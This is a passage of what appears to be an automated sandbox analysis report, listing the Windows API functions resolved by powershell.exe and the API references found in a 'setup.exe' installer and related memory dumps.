"powershell.exe" called "GetProcAddress" with a parameter ReadFile (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter SetEvent (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter CoWaitForMultipleHandles (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter SetThreadUILanguage (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter SetThreadUILanguageW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter AmsiOpenSession (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter AmsiScanBuffer (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter MpManagerOpen (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter MpHandleClose (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter MpFreeMemory (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter MpScanStart (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter MpMemoryScanStart (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter MpScanResult (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter MpThreatOpen (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter MpThreatEnumerate (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter MpConfigOpen (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter MpConfigGetValue (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter MpConfigGetValueAlloc (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter MpConfigClose (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter MpFastMemoryScanOpen (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter MpFastMemoryScan (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter MpTelemetryInitialize (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter MpTelemetryUninitialize (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter MpTelemetryAddToAverageDWORD (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter MpAmsiScan (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter MpAmsiCloseSession (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter MpConfigRegisterForNotifications (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter MpConfigUnregisterNotifications (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter MpClientUtilExportFunctions (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter MpManagerVersionQuery (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter EventWrite (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter IsWow64Process (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter RegisterGPNotification (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter UnregisterGPNotification (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter RoGetParameterizedTypeInstanceIID (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter FindFirstFile (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter FindFirstFileW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter FindClose (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter FindNextFile (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter FindNextFileW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter QueryUnbiasedInterruptTime (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter AmsiCloseSession (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetACP (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter SetFilePointer (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileName (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter ConvertSidToStringSidW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter BCryptGetFipsAlgorithmMode (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetFileSize (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter QueryPerformanceFrequency (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter QueryPerformanceCounter (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter RasEnumConnections (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter RasEnumConnectionsW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter WSAStartup (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter WSASocket (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter WSASocketW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter setsockopt (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter WSAEventSelect (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter ioctlsocket (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter closesocket (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter WSAIoctl (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter FormatMessage (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter FormatMessageW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter RasConnectionNotification (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter RasConnectionNotificationW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter RegOpenCurrentUser (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter RegNotifyChangeKeyValue (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter WinHttpOpen (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter WinHttpOpenW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter WinHttpCloseHandle (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter WinHttpCloseHandleW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter WinHttpSetTimeouts (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter WinHttpSetTimeoutsW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter WinHttpGetIEProxyConfigForCurrentUser (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter ResetEvent (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter WinHttpGetProxyForUrl (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter WinHttpGetProxyForUrlW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetNetworkParams (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetAddrInfoW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter freeaddrinfo (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetAdaptersAddresses (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter WSAConnect (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter EnumerateSecurityPackagesW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter FreeContextBuffer (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter FreeCredentialsHandle (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter AcquireCredentialsHandleW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter DeleteSecurityContext (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter InitializeSecurityContextW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetModuleHandle (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetModuleHandleW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetProcAddress (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter WideCharToMultiByte (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter send (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter recv (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter QueryContextAttributesW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter CertCloseStore (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateStore (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateStoreW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter CertEnumCertificatesInStore (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter CertEnumCertificatesInStoreW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter CertFreeCertificateChain (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter CertOpenStore (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter CertOpenStoreW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter CertAddCertificateLinkToStore (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter CertAddCertificateLinkToStoreW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter CertGetCertificateChain (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter CertGetCertificateChainW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateChain (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateChainW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter CertVerifyCertificateChainPolicy (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter CertVerifyCertificateChainPolicyW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter SetLastError (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter EncryptMessage (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter DecryptMessage (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetLastError (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter EncodePointer (UID: 00000000-00006612)37:T7692,Found reference to API (Indicator: "MultiByteToWideChar"; File: "setup.exe") Found reference to API (Indicator: "SetStdHandle"; File: "setup.exe") Found reference to API (Indicator: "GetConsoleOutputCP"; File: "setup.exe") Found reference to API (Indicator: "HeapFree"; File: "setup.exe") Found reference to API (Indicator: "LCMapStringW"; File: "setup.exe") Found reference to API (Indicator: "GetCurrentDirectoryW"; File: "setup.exe") Found reference to API (Indicator: "ExitProcess"; File: "setup.exe") Found reference to API (Indicator: "GetUserDefaultLCID"; File: "setup.exe") Found reference to API (Indicator: "CreateThread"; File: "setup.exe") Found reference to API (Indicator: "GetFileType"; File: "setup.exe") Found reference to API (Indicator: "EnumSystemLocalesW"; File: "setup.exe") Found reference to API (Indicator: "CreateDirectoryW"; File: "setup.exe") Found reference to API (Indicator: "AreFileApisANSI"; File: "setup.exe") Found reference to API (Indicator: "CloseHandle"; File: "setup.exe") Found reference to API (Indicator: "GetACP"; File: "setup.exe") Found reference to API (Indicator: "GetVersionExW"; File: "setup.exe") Found reference to API (Indicator: "FreeLibraryAndExitThread"; File: "setup.exe") Found reference to API (Indicator: "IsDebuggerPresent"; File: "setup.exe") Found reference to API (Indicator: "Sleep"; File: "setup.exe") Found reference to API (Indicator: "HeapSize"; File: "setup.exe") Found reference to API (Indicator: "GetModuleFileNameW"; File: "setup.exe") Found reference to API (Indicator: "CreateEventW"; File: "setup.exe") Found reference to API (Indicator: "GetFileInformationByHandle"; File: "setup.exe") Found reference to API (Indicator: "IsValidLocale"; File: "setup.exe") Found reference to API (Indicator: "WriteConsoleW"; File: "setup.exe") Found reference to API (Indicator: "SetFileTime"; File: "setup.exe") Found reference to API (Indicator: "ReadFile"; File: "setup.exe") Found reference to API (Indicator: "SetCurrentDirectoryW"; File: "setup.exe") Found reference to API (Indicator: "LoadLibraryExW"; File: "setup.exe") Found reference to API (Indicator: "GetConsoleMode"; File: "setup.exe") Found reference to API (Indicator: "CreateSemaphoreW"; File: "setup.exe") Found reference to API (Indicator: "GetSystemDirectoryW"; File: "setup.exe") Found reference to API (Indicator: "WriteFile"; File: "setup.exe") Found reference to API (Indicator: "GetStartupInfoW"; File: "setup.exe") Found reference to API (Indicator: "GetProcAddress"; File: "setup.exe") Found reference to API (Indicator: "TerminateProcess"; File: "setup.exe") Found reference to API (Indicator: "GetExitCodeProcess"; File: "setup.exe") Found reference to API (Indicator: "GetModuleHandleA"; File: "setup.exe") Found reference to API (Indicator: "GetSystemInfo"; File: "setup.exe") Found reference to API (Indicator: "CreateFileW"; File: "setup.exe") Found reference to API (Indicator: "VirtualAlloc"; File: "setup.exe") Found reference to API (Indicator: "QueryPerformanceFrequency"; File: "setup.exe") Found reference to API (Indicator: "GetFileSize"; File: "setup.exe") Found reference to API (Indicator: "GetCurrentProcessId"; File: "setup.exe") Found reference to API (Indicator: "FreeEnvironmentStringsW"; File: "setup.exe") Found reference to API (Indicator: "GetCurrentProcess"; File: "setup.exe") Found reference to API (Indicator: "WideCharToMultiByte"; File: "setup.exe") Found reference to API (Indicator: "GetStdHandle"; File: "setup.exe") Found reference to API (Indicator: "GetLastError"; File: "setup.exe") Found reference to API (Indicator: "VirtualFree"; File: "setup.exe") Found reference to API (Indicator: "FormatMessageW"; File: "setup.exe") Found reference to API (Indicator: "CreateProcessW"; File: "setup.exe") Found reference to API (Indicator: "LCMapStringEx"; File: "setup.exe") Found reference to API (Indicator: "InitializeCriticalSectionEx"; File: "setup.exe") Found reference to API (Indicator: "RemoveDirectoryW"; File: "setup.exe") Found reference to API (Indicator: "HeapReAlloc"; File: "setup.exe") Found reference to API (Indicator: "HeapAlloc"; File: "setup.exe") Found reference to API (Indicator: "FindNextFileW"; File: "setup.exe") Found reference to API (Indicator: "GetOEMCP"; File: "setup.exe") Found reference to API (Indicator: "GlobalMemoryStatus"; File: "setup.exe") Found reference to API (Indicator: "SetLastError"; File: "setup.exe") Found reference to API (Indicator: "FlushFileBuffers"; File: "setup.exe") Found reference to API (Indicator: "QueryPerformanceCounter"; File: "setup.exe") Found reference to API (Indicator: "SetFilePointerEx"; File: "setup.exe") Found reference to API (Indicator: "ResetEvent"; File: "setup.exe") Found reference to API (Indicator: "GetLocaleInfoEx"; File: "setup.exe") Found reference to API (Indicator: "GetTickCount"; File: "setup.exe") Found reference to API (Indicator: "SetEvent"; File: "setup.exe") Found reference to API (Indicator: "GetTempPathW"; File: "setup.exe") Found reference to API (Indicator: "UnhandledExceptionFilter"; File: "setup.exe") Found reference to API (Indicator: "GetCPInfo"; File: "setup.exe") Found reference to API (Indicator: "GetVersion"; File: "setup.exe") Found reference to API (Indicator: "DeleteFileW"; File: "setup.exe") Found reference to API (Indicator: "LocalFree"; File: "setup.exe") Found reference to API (Indicator: "GetStringTypeW"; File: "setup.exe") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; File: "setup.exe") Found reference to API (Indicator: "WaitForSingleObject"; File: "setup.exe") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; File: "setup.exe") Found reference to API (Indicator: "TlsAlloc"; File: "setup.exe") Found reference to API (Indicator: "TlsSetValue"; File: "setup.exe") Found reference to API (Indicator: "GetCommandLineW"; File: "setup.exe") Found reference to API (Indicator: "GetLocaleInfoW"; File: "setup.exe") Found reference to API (Indicator: "InitializeSListHead"; File: "setup.exe") Found reference to API (Indicator: "RtlUnwind"; File: "setup.exe") Found reference to API (Indicator: "GetProcessAffinityMask"; File: "setup.exe") Found reference to API (Indicator: "GetFileSizeEx"; File: "setup.exe") Found reference to API (Indicator: "EncodePointer"; File: "setup.exe") Found reference to API (Indicator: "TlsFree"; File: "setup.exe") Found reference to API (Indicator: "SetFileAttributesW"; File: "setup.exe") Found reference to API (Indicator: "IsValidCodePage"; File: "setup.exe") Found reference to API (Indicator: "FreeLibrary"; File: "setup.exe") Found reference to API (Indicator: "LeaveCriticalSection"; File: "setup.exe") Found reference to API (Indicator: "GetCommandLineA"; File: "setup.exe") Found reference to API (Indicator: "ReleaseSemaphore"; File: "setup.exe") Found reference to API (Indicator: "SetEndOfFile"; File: "setup.exe") Found reference to API (Indicator: "GetModuleHandleW"; File: "setup.exe") Found reference to API (Indicator: "FindClose"; File: "setup.exe") Found reference to API (Indicator: "DeleteCriticalSection"; File: "setup.exe") Found reference to API (Indicator: "IsProcessorFeaturePresent"; File: "setup.exe") Found reference to API (Indicator: "FindFirstFileW"; File: "setup.exe") Found reference to API (Indicator: "ExitThread"; File: "setup.exe") Found reference to API (Indicator: "GetCurrentThreadId"; File: "setup.exe") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; File: "setup.exe") Found reference to API (Indicator: "ReadConsoleW"; File: "setup.exe") Found reference to API (Indicator: "GetEnvironmentStringsW"; File: "setup.exe") Found reference to API (Indicator: "SetFilePointer"; File: "setup.exe") Found reference to API (Indicator: "FormatMessageA"; File: "setup.exe") Found reference to API (Indicator: "EnterCriticalSection"; File: "setup.exe") Found reference to API (Indicator: "GetModuleHandleExW"; File: "setup.exe") Found reference to API (Indicator: "RaiseException"; File: "setup.exe") Found reference to API (Indicator: "GetFileAttributesW"; File: "setup.exe") Found reference to API (Indicator: "DecodePointer"; File: "setup.exe") Found reference to API (Indicator: "GetProcessHeap"; File: "setup.exe") Found reference to API (Indicator: "TlsGetValue"; File: "setup.exe") Found reference to API (Indicator: "FindFirstFileExW"; File: "setup.exe") Found reference to API (Indicator: "InitializeCriticalSection"; File: "setup.exe") Found reference to API (Indicator: "VariantClear"; File: "setup.exe") Found reference to API (Indicator: "SysStringLen"; File: "setup.exe") Found reference to API (Indicator: "SysAllocStringLen"; File: "setup.exe") Found reference to API (Indicator: "ShellExecuteExW"; File: "setup.exe") Found reference to API (Indicator: "LoadStringW"; File: "setup.exe") Found reference to API (Indicator: "SetTimer"; File: "setup.exe") Found reference to API (Indicator: "DestroyWindow"; File: "setup.exe") Found reference to API (Indicator: "SetWindowTextW"; File: "setup.exe") Found reference to API (Indicator: "MessageBoxW"; File: "setup.exe") Found reference to API (Indicator: "KillTimer"; File: "setup.exe") Found reference to API (Indicator: "CharUpperW"; File: "setup.exe") Found reference to API (Indicator: "LoadIconW"; File: "setup.exe") Found reference to API (Indicator: "ShowWindow"; File: "setup.exe") Found reference to API (Indicator: "GetSystemTimePreciseAsFileTime"; File: "setup.exe") Found reference to API (Indicator: "FlsAlloc"; File: "setup.exe") Found reference to API (Indicator: "FlsFree"; File: "setup.exe") Found reference to API (Indicator: "FlsGetValue"; File: "setup.exe") Found reference to API (Indicator: "FlsSetValue"; File: "setup.exe") Found reference to API (Indicator: "CompareStringEx"; File: "setup.exe") Found reference to API (Indicator: "EnumSystemLocalesEx"; File: "setup.exe") Found reference to API (Indicator: "GetDateFormatEx"; File: "setup.exe") Found reference to API (Indicator: "GetTimeFormatEx"; File: "setup.exe") Found reference to API (Indicator: "GetUserDefaultLocaleName"; File: "setup.exe") Found reference to API (Indicator: "IsValidLocaleName"; File: "setup.exe") Found reference to API (Indicator: "LCIDToLocaleName"; File: "setup.exe") Found reference to API (Indicator: "LocaleNameToLCID"; File: "setup.exe") Found reference to API (Indicator: "SetDefaultDllDirectories"; File: "setup.exe") Found reference to API (Indicator: "FindFirstStreamW"; File: "setup.exe") Found reference to API (Indicator: "FindNextStreamW"; File: "setup.exe") Found reference to API (Indicator: "GlobalMemoryStatusEx"; File: "setup.exe") Found reference to API (Indicator: "InitializeConditionVariable"; Source: "00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found reference to API (Indicator: "SleepConditionVariableCS"; Source: "00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found reference to API (Indicator: "WakeAllConditionVariable"; Source: "00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found reference to API (Indicator: "EventRegister"; Source: "00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found reference to API (Indicator: "EventUnregister"; Source: "00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeExW"; Source: "00000000-00006612.00000001.214679.79E42000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeW"; Source: "00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoW"; Source: "00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoExW"; Source: "00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found reference to API (Indicator: "VerQueryValueW"; Source: "00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimePreciseAsFileTime"; Source: "00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found reference to API (Indicator: "RaiseException"; Source: "00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSection"; Source: "00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found reference to API (Indicator: "GetProcessTimes"; Source: "00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExW"; Source: "00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found reference to API (Indicator: "RtlCaptureContext"; Source: "00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found reference to API (Indicator: "RtlLookupFunctionEntry"; Source: "00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found reference to API (Indicator: "RtlVirtualUnwind"; Source: "00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleExW"; Source: "00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemFree"; Source: "00000000-00006612.00000001.214679.79E42000.00000002.mdmp") Found reference to API (Indicator: "StringFromGUID2"; Source: "00000000-00006612.00000001.214679.79E42000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; Source: "00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found reference to API (Indicator: "GetFileSizeEx"; Source: "00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found reference to API (Indicator: 